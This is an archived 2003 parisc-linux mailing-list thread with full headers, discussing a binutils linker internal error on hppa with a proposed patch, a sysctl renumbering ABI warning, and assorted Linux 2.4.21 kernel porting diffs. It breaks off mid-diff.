Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5Q1U3gL009326;
	Wed, 25 Jun 2003 21:30:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5Q1U2x4009324;
	Wed, 25 Jun 2003 21:30:02 -0400 (EDT)
In-Reply-To: <20030626003652.GQ4022@bubble.sa.bigpond.net.au> from "Alan Modra" at Jun 26, 2003 10:06:52 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18751

> On Wed, Jun 25, 2003 at 11:26:59PM +0200, Matthias Klose wrote:
> > ICE in binutils-2.14.90.0.4 building gcc HEAD 20030625, while linking
> > the shared libstdc++ library:
> > 
> > [...]
> > -Wl,-soname -Wl,libstdc++.so.6 -o .libs/libstdc++.so.6.0.0
> > /usr/bin/ld: BFD 2.14.90.0.4 20030523 Debian GNU/Linux internal error, aborting at ../../bfd/elf32-hppa.c line 3864 in elf32_hppa_relocate_section
> 
> Please run the ld command under gdb, and let me know the results of
> "p *h".  Note that you may need to recompile elf32-hppa.c at -O1 to
> get useful debug info.

Oh, I had already done that yesterday.  h is NULL.  The enclosed patch
avoids the problem but a better fix would be to somehow remove local
PLABEL relocations for symbols in linkonce sections.  In this particular
case, we have a linkonce section in io-inst.o that duplicates a pervious
one in fstream-inst.o.

If Jakub comes up with a patch to output the thunks for a function before
the function instead after the function, I will change the thunk generation
in gcc to use a simple pc-relative branch to the function.  This will
avoid the problem.  However, at the moment, we are not guaranteed that
a pc-relative branch has sufficient range to reach the function.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.100
diff -u -3 -p -r1.100 elf32-hppa.c
--- elf32-hppa.c	25 Jun 2003 06:40:21 -0000	1.100
+++ elf32-hppa.c	26 Jun 2003 01:15:09 -0000
@@ -3807,6 +3807,9 @@ elf32_hppa_relocate_section (output_bfd,
 			  do_plt = 1;
 			}
 		    }
+
+	          if (off >= (bfd_vma) -2)
+		    break;
 		}
 	      else
 		{
@@ -3828,6 +3831,12 @@ elf32_hppa_relocate_section (output_bfd,
 		      local_plt_offsets[r_symndx] |= 1;
 		      do_plt = 1;
 		    }
+
+		  /* ???: Ignore PLABEL relocations for local symbols
+		     with an undefined offset.  This can happen if the
+		     symbol was in a linkonce section.  */
+	          if (off >= (bfd_vma) -2)
+		    break;
 		}
 
 	      if (do_plt)
@@ -3859,9 +3868,6 @@ elf32_hppa_relocate_section (output_bfd,
 				  htab->splt->contents + off + 4);
 		    }
 		}

From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: binutils ICE while building todays gcc HEAD on hppa-linux
Date: Wed, 25 Jun 2003 21:34:12 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200306260134.h5Q1YCE2009363__12607.8433976092$1416622540$gmane$org@hiauly1.hia.nrc.ca>
References: <200306260130.h5Q1U2x4009324@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622540 27042 80.91.229.3 (22 Nov 2014 02:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:40 +0000 (UTC)
Cc: amodra@bigpond.net.au, doko@cs.tu-berlin.de,
	parisc-linux@lists.parisc-linux.org, binutils@sources.redhat.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 19:34:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B6B94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 19:34:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5Q1YCgL009364;
	Wed, 25 Jun 2003 21:34:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5Q1YCE2009363;
	Wed, 25 Jun 2003 21:34:12 -0400 (EDT)
In-Reply-To: <200306260130.h5Q1U2x4009324@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 25, 2003 09:30:02 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18752

> @@ -3807,6 +3807,9 @@ elf32_hppa_relocate_section (output_bfd,
>  			  do_plt = 1;
>  			}
>  		    }
> +
> +	          if (off >= (bfd_vma) -2)
> +		    break;

Oops, we should abort here.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] warning: minor abi change
Date: Thu, 26 Jun 2003 14:54:51 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20030626135451.GL451@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622541 27044 80.91.229.3 (22 Nov 2014 02:15:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 26 07:54:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 230C24829
	for <parisc-linux@parisc-linux.org>; Thu, 26 Jun 2003 07:54:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19VXD9-00060I-QA
	for parisc-linux@parisc-linux.org; Thu, 26 Jun 2003 14:54:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18753

2.4.21 allocates sysctl number 56 to something else, so i had to renumber
the hppa sysctls to 57 and 58.  if linus didn't keep dropping this patch,
we'd have stable numbers ...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] warning: minor abi change
Date: Thu, 26 Jun 2003 19:03:40 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3ED70CF10000A63F@ocpmta2.freegates.net>
References: <20030626135451.GL451@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622541 27046 80.91.229.3 (22 Nov 2014 02:15:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:41 +0000 (UTC)
To: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 26 11:03:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 318B94829
	for <parisc-linux@parisc-linux.org>; Thu, 26 Jun 2003 11:03:44 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19Va93-0003k9-00; Thu, 26 Jun 2003 19:02:49 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 26 Jun 2003 19:03:40 +0200
In-Reply-To: <20030626135451.GL451@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18754

Hi Willy,

>
> 2.4.21 allocates sysctl number 56 to something else, so i had to renumber
> the hppa sysctls to 57 and 58.
>
Sorry for my ignorance but how much those number are important (as afaik
they are named by #define)?

Thanks in advance,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Thu, 26 Jun 2003 18:06:28 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
References: <20030626135451.GL451@parcelfarce.linux.theplanet.co.uk> <3ED70CF10000A63F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622541 27047 80.91.229.3 (22 Nov 2014 02:15:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:41 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 26 11:06:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B9C4829
	for <parisc-linux@parisc-linux.org>; Thu, 26 Jun 2003 11:06:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19VaCa-0000iA-V5; Thu, 26 Jun 2003 18:06:28 +0100
Content-Disposition: inline
In-Reply-To: <3ED70CF10000A63F@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18755

On Thu, Jun 26, 2003 at 07:03:40PM +0200, Joel Soete wrote:
> Hi Willy,
> 
> >
> > 2.4.21 allocates sysctl number 56 to something else, so i had to renumber
> > the hppa sysctls to 57 and 58.
> >
> Sorry for my ignorance but how much those number are important (as afaik
> they are named by #define)?

they're irrelevant if you use them via /proc/sys to access the feature.
they're really important if you use them via sysctl(3).

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Thu, 26 Jun 2003 10:45:27 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030626174527.GM1481@tausq.org>
References: <20030626135451.GL451@parcelfarce.linux.theplanet.co.uk> <3ED70CF10000A63F@ocpmta2.freegates.net> <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622542 27048 80.91.229.3 (22 Nov 2014 02:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:42 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 26 11:41:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 464B74829
	for <parisc-linux@parisc-linux.org>; Thu, 26 Jun 2003 11:41:29 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 749BECD2F8; Thu, 26 Jun 2003 10:45:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18756

> they're irrelevant if you use them via /proc/sys to access the feature.
> they're really important if you use them via sysctl(3).

fwiw we've already renumbered them at least twice in the past, and no
one has screamed yet :P

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Fri, 27 Jun 2003 16:41:13 +0200
Lines: 402
Approved: news@gmane.org
Message-ID: <3ED70CF10000AD97@ocpmta2.freegates.net>
References: <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622542 27053 80.91.229.3 (22 Nov 2014 02:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:42 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org, "Randolph Chung" <tausq@debian.org>,
	"Grant Grundler" <grundler@parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 27 08:41:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D97404829; Fri, 27 Jun 2003 08:41:22 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19VuOi-0006ny-00; Fri, 27 Jun 2003 16:40:20 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 27 Jun 2003 16:41:13 +0200
In-Reply-To: <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18757

> they're irrelevant if you use them via /proc/sys to access the feature.
> they're really important if you use them via sysctl(3).

The relevant good pratice would be to use named const as ERR :-)

But mainly, as promise I co 2.4.21-p0 and copare with my merge and notice
some requested add patch:

diff -NaurX dontdiff linux-2.4.21-pa0/drivers/ide/pci/ns87415.c linux-2.4.21-rc8-pa35/drivers/ide/pci/ns87415.c
--- linux-2.4.21-pa0/drivers/ide/pci/ns87415.c	2003-06-26 17:07:20.000000000
+0200
+++ linux-2.4.21-rc8-pa35/drivers/ide/pci/ns87415.c	2003-02-28 18:43:45.000000000
+0100
@@ -27,6 +27,10 @@
 
 #include "ns87415.h"
 
+#if defined(__hppa__) && defined(CONFIG_SUPERIO)
+#include <asm/superio.h>
+#endif
+
 static unsigned int ns87415_count = 0, ns87415_control[MAX_HWIFS] = { 0
};
 
 /*
@@ -200,7 +204,11 @@
 	}
 
 	if (!using_inta)
+#if defined(__hppa__) && defined(CONFIG_SUPERIO)
+		hwif->irq = superio_get_ide_irq();	/* legacy mode */
+#else
 		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
+#endif
 	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
 		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */
 
diff -NaurX dontdiff linux-2.4.21-pa0/include/asm-parisc/system_irqsave.h
linux-2.4.21-rc8-pa35/include/asm-parisc/system_irqsave.h
--- linux-2.4.21-pa0/include/asm-parisc/system_irqsave.h	2003-06-27 07:49:56.000000000
+0200
+++ linux-2.4.21-rc8-pa35/include/asm-parisc/system_irqsave.h	2003-06-27
15:52:10.000000000 +0200
@@ -7,6 +7,9 @@
 #define __cli()	__asm__ __volatile__("rsm %0,%%r0\n" : : "i" (PSW_I) : "memory"
)
 #define __sti()	__asm__ __volatile__("ssm %0,%%r0\n" : : "i" (PSW_I) : "memory"
)
 
+#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
+#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
+
 #define local_irq_save(x) \
 	__asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )
 #define local_irq_restore(x) \
=================================================================================
btw I also test following stuff which seems to works too:
diff -NaurX dontdiff linux-2.4.21-pa0/include/asm-parisc/system_irqsave.h.mine
linux-2.4.21-rc8-pa35/include/asm-parisc/system_irqsave.h.mine
--- linux-2.4.21-pa0/include/asm-parisc/system_irqsave.h.mine	1970-01-01
01:00:00.000000000 +0100
+++ linux-2.4.21-rc8-pa35/include/asm-parisc/system_irqsave.h.mine	2003-06-27
15:50:11.000000000 +0200
@@ -0,0 +1,21 @@
+#ifndef __PARISC_SYSTEM_IRQSAVE_H
+#define __PARISC_SYSTEM_IRQSAVE_H
+
+/* interrupt control */
+#define __save_flags(x)	__asm__ __volatile__("ssm 0, %0" : "=r" (x) : :
"memory")
+#define __restore_flags(x) __asm__ __volatile__("mtsm %0" : : "r" (x) :
"memory")
+#define __cli()	__asm__ __volatile__("rsm %0,%%r0\n" : : "i" (PSW_I) : "memory"
)
+#define __sti()	__asm__ __volatile__("ssm %0,%%r0\n" : : "i" (PSW_I) : "memory"
)
+
+#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
+#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
+
+/* For spinlocks etc */
+#define local_irq_save(x)  __save_and_cli(x)
+#define local_irq_set(x)   __save_and_sti(x)
+
+#define local_irq_restore(x) __restore_flags(x)
+#define local_irq_disable() __cli()
+#define local_irq_enable()  __sti()
+
+#endif /* __PARISC_SYSTEM_IRQSAVE_H */
=================================================================================

And also some various stuff as:

- a clean up (just put in comment for remind):

diff -NaurX dontdiff linux-2.4.21-pa0/arch/parisc/kernel/parisc_ksyms.c linux-2.4.21-rc8-pa35/arch/parisc/kernel/parisc_ksyms.c
--- linux-2.4.21-pa0/arch/parisc/kernel/parisc_ksyms.c	2003-03-17 08:14:55.000000000
+0100
+++ linux-2.4.21-rc8-pa35/arch/parisc/kernel/parisc_ksyms.c	2003-05-23 13:31:18.000000000
+0200
@@ -167,7 +167,7 @@
 extern void $$remI(void);
 extern void $$remU(void);
 extern void $$mulI(void);
-extern void $$mulU(void);
+/* extern void $$mulU(void); */
 extern void $$divU_3(void);
 extern void $$divU_5(void);
 extern void $$divU_6(void);
@@ -193,7 +193,7 @@
 EXPORT_SYMBOL_NOVERS($$remU);
 EXPORT_SYMBOL_NOVERS($$mulI);
 #ifndef __LP64__
-EXPORT_SYMBOL_NOVERS($$mulU);
+/* EXPORT_SYMBOL_NOVERS($$mulU); */
 #endif
 EXPORT_SYMBOL_NOVERS($$divU_3);
 EXPORT_SYMBOL_NOVERS($$divU_5);
diff -NaurX dontdiff linux-2.4.21-pa0/arch/parisc/kernel/processor.c linux-2.4.21-rc8-pa35/arch/parisc/kernel/processor.c
--- linux-2.4.21-pa0/arch/parisc/kernel/processor.c	2003-06-27 07:35:56.000000000
+0200
+++ linux-2.4.21-rc8-pa35/arch/parisc/kernel/processor.c	2002-12-20 15:56:19.000000000
+0100
@@ -77,8 +77,6 @@
 	unsigned long txn_addr;
 	unsigned long cpuid;
 	struct cpuinfo_parisc *p;
-	extern struct irq_region_ops cpu_irq_ops; /* arch/parisc...irq.c */
-	extern struct irqaction cpu_irq_actions[]; /* arch/parisc...irq.c */
 
 #ifndef CONFIG_SMP
 	if (boot_cpu_data.cpu_count > 0) {

- a small typo :-)

diff -NaurX dontdiff linux-2.4.21-pa0/drivers/char/genrtc.c linux-2.4.21-rc8-pa35/drivers/char/genrtc.c
--- linux-2.4.21-pa0/drivers/char/genrtc.c	2003-01-13 08:38:36.000000000
+0100
+++ linux-2.4.21-rc8-pa35/drivers/char/genrtc.c	2003-05-08 22:10:52.000000000
+0200
@@ -99,7 +99,7 @@
 static void gen_rtc_interrupt(unsigned long arg);
 
 /*
- * Routine to poll RTC seconds field for change as often as posible,
+ * Routine to poll RTC seconds field for change as often as possible,
  * after first RTC_UIE use timer to reduce polling
  */
 static void genrtc_troutine(void *data)

- a work-around for gcc-3.3 awaiting final fix:

--- linux-2.4.21-pa0/drivers/net/tun.c	2002-08-07 07:50:51.000000000 +0200
+++ linux-2.4.21-rc8-pa35/drivers/net/tun.c	2003-06-27 12:34:17.000000000
+0200
@@ -359,7 +359,9 @@
 		/* Device exist */
 		tun = dev->priv;
 
-		if (dev->init != tun_net_init || tun->attached)
+                /* (void*) is a temporary w-a because of
+                   hppa gcc-3.3 __canonicalize_funcptr_for_compare() */
+		if (dev->init != (void*)tun_net_init || tun->attached)
 			return -EBUSY;
 
 		/* Check permissions */

- Grant what do you think about this:

diff -NaurX dontdiff linux-2.4.21-pa0/drivers/sound/ad1889.c linux-2.4.21-rc8-pa35/drivers/sound/ad1889.c
--- linux-2.4.21-pa0/drivers/sound/ad1889.c	2003-06-27 07:46:37.000000000
+0200
+++ linux-2.4.21-rc8-pa35/drivers/sound/ad1889.c	2003-05-08 22:43:44.000000000
+0200
@@ -24,7 +24,7 @@
 <jsm> tausq: Anyway, to set up sample rates for D to A, you just use the
sample rate on the codec. For A to D, you need to set the codec always to
48K (using the split sample rate feature on the codec) and then set the resampler
on the AD1889 to the sample rate you want.
 <jsm> Also, when changing the sample rate on the codec you need to power
it down and re power it up for the change to take effect!
  *
- * $Id: ad1889.c,v 1.2 2002/10/16 04:14:12 grundler Exp $
+ * $Id: ad1889.c,v 1.3 2002/10/19 21:31:44 grundler Exp $
  */
 #include <linux/config.h>
 #include <linux/module.h>
@@ -816,7 +816,7 @@
 	ad1889_dev_t *dev = ac97->private_data;
 
 	//DBG("Writing 0x%x to 0x%lx\n", val, dev->regbase + 0x100 + reg);
-	return AD1889_WRITEW(dev, 0x100 + reg, val);
+	AD1889_WRITEW(dev, 0x100 + reg, val);
